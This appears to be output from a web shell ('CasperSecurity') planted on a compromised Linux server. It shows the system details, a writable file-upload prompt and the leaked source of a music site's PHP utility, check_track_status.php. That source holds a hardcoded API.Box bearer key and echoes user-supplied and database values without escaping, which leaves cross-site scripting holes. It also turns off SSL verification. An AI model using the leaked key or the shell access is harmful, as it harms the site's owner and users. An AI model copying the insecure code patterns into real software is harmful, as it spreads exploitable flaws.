T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/utils/check_track_status.php
<?php
// Check specific track status with API.Box
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Get track_id from URL parameter
$track_id = $_GET['track_id'] ?? null;

if (!$track_id) {
    echo "<h1>❌ Error: No track_id provided</h1>";
    echo "<p>Usage: /check_track_status.php?track_id=TRACK_ID</p>";
    exit;
}

$api_key = '63edba40620216c5aa2c04240ac41dbd';

echo "<h1>🔍 API.Box Track Status Check</h1>";
echo "<h2>Track ID: $track_id</h2>";

// Check local database first
require_once 'config/database.php';
$pdo = getDBConnection();

if ($pdo) {
    $stmt = $pdo->prepare("SELECT * FROM music_tracks WHERE id = ?");
    $stmt->execute([$track_id]);
    $track = $stmt->fetch();
    
    if ($track) {
        echo "<h3>📊 Local Database Status</h3>";
        echo "<table border='1' style='border-collapse: collapse; margin: 20px 0;'>";
        echo "<tr><th>Field</th><th>Value</th></tr>";
        echo "<tr><td>ID</td><td>{$track['id']}</td></tr>";
        echo "<tr><td>User ID</td><td>{$track['user_id']}</td></tr>";
        echo "<tr><td>Task ID</td><td>{$track['task_id']}</td></tr>";
        echo "<tr><td>Title</td><td>{$track['title']}</td></tr>";
        echo "<tr><td>Prompt</td><td>{$track['prompt']}</td></tr>";
        echo "<tr><td>Music Type</td><td>{$track['music_type']}</td></tr>";
        echo "<tr><td>Model Version</td><td>{$track['model_version']}</td></tr>";
        echo "<tr><td>Duration</td><td>{$track['duration']}s</td></tr>";
        echo "<tr><td>Status</td><td style='color: " . ($track['status'] === 'complete' ? 'green' : ($track['status'] === 'failed' ? 'red' : 'orange')) . "'>{$track['status']}</td></tr>";
        echo "<tr><td>Audio URL</td><td>" . ($track['audio_url'] ?: 'NULL') . "</td></tr>";
        echo "<tr><td>Created At</td><td>{$track['created_at']}</td></tr>";
        echo "<tr><td>Updated At</td><td>{$track['updated_at']}</td></tr>";
        echo "</table>";
        
        $task_id = $track['task_id'];
    } else {
        echo "<p style='color: red;'>❌ Track not found in local database</p>";
        exit;
    }
} else {
    echo "<p style='color: red;'>❌ Database connection failed</p>";
    exit;
}

// Check API.Box status
echo "<h3>🌐 API.Box Status Check</h3>";

$api_url = "https://api.api.box/api/v1/status/$task_id";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Authorization: Bearer ' . $api_key,
    'Content-Type: application/json',
    'User-Agent: MusicStudio-Pro/1.0'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curl_error = curl_error($ch);
curl_close($ch);

echo "<p><strong>API URL:</strong> $api_url</p>";
echo "<p><strong>HTTP Code:</strong> $http_code</p>";

if ($curl_error) {
    echo "<p style='color: red;'><strong>cURL Error:</strong> $curl_error</p>";
} else {
    echo "<p style='color: green;'><strong>cURL:</strong> Success</p>";
}

echo "<p><strong>Raw Response:</strong></p>";
echo "<pre style='background: #f0f0f0; padding: 10px; max-height: 400px; overflow-y: auto; border: 1px solid #ccc;'>";
echo htmlspecialchars($response);
echo "</pre>";

// Parse and display response
if ($response) {
    $data = json_decode($response, true);
    
    if ($data) {
        echo "<h3>📋 Parsed API.Box Response</h3>";
        echo "<table border='1' style='border-collapse: collapse; margin: 20px 0;'>";
        echo "<tr><th>Field</th><th>Value</th></tr>";
        
        if (isset($data['data'])) {
            foreach ($data['data'] as $key => $value) {
                if (is_array($value)) {
                    $value = json_encode($value);
                }
                echo "<tr><td>$key</td><td>" . htmlspecialchars($value) . "</td></tr>";
            }
        } else {
            foreach ($data as $key => $value) {
                if (is_array($value)) {
                    $value = json_encode($value);
                }
                echo "<tr><td>$key</td><td>" . htmlspecialchars($value) . "</td></tr>";
            }
        }
        echo "</table>";
        
        // Check if we need to update local database
        if (isset($data['data']['status']) && $data['data']['status'] === 'complete' && isset($data['data']['audioUrl'])) {
            echo "<h3>🔄 Update Local Database</h3>";
            
            if ($pdo && $track) {
                $stmt = $pdo->prepare("
                    UPDATE music_tracks 
                    SET status = 'complete', 
                        audio_url = ?, 
                        updated_at = NOW() 
                    WHERE id = ?
                ");
                
                if ($stmt->execute([$data['data']['audioUrl'], $track_id])) {
                    echo "<p style='color: green;'>✅ Local database updated successfully!</p>";
                } else {
                    echo "<p style='color: red;'>❌ Failed to update local database</p>";
                }
            }
        }
    } else {
        echo "<p style='color: red;'>❌ Failed to parse JSON response</p>";
    }
}

// Test callback endpoint
echo "<h3>🔄 Test Callback Endpoint</h3>";
echo "<p>If the track is complete, you can manually trigger the callback:</p>";
echo "<button onclick='testCallback()' style='padding: 10px 20px; background: #667eea; color: white; border: none; border-radius: 5px; cursor: pointer;'>Test Callback</button>";

echo "<div id='callbackResult' style='margin-top: 20px;'></div>";

echo "<h3>🔗 Quick Links</h3>";
echo "<p><a href='/library.php' style='color: #667eea;'>📚 View Library</a> | ";
echo "<a href='/create_music.php' style='color: #667eea;'>🎵 Create New Music</a> | ";
echo "<a href='/dashboard.php' style='color: #667eea;'>📊 Dashboard</a></p>";
?>

<script>
async function testCallback() {
    const resultDiv = document.getElementById('callbackResult');
    resultDiv.innerHTML = '<p>Testing callback...</p>';
    
    try {
        const response = await fetch('/callback.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                taskId: '<?php echo $task_id; ?>',
                status: 'complete',
                audioUrl: 'https://example.com/test_audio.mp3',
                title: '<?php echo htmlspecialchars($track['title']); ?>',
                duration: <?php echo $track['duration']; ?>
            })
        });
        
        const data = await response.json();
        
        if (data.success) {
            resultDiv.innerHTML = '<p style="color: green;">✅ Callback test successful!</p>';
            setTimeout(() => location.reload(), 2000);
        } else {
            resultDiv.innerHTML = '<p style="color: red;">❌ Callback test failed: ' + data.error + '</p>';
        }
    } catch (error) {
        resultDiv.innerHTML = '<p style="color: red;">❌ Callback test failed: ' + error.message + '</p>';
    }
}
</script> 

CasperSecurity Mini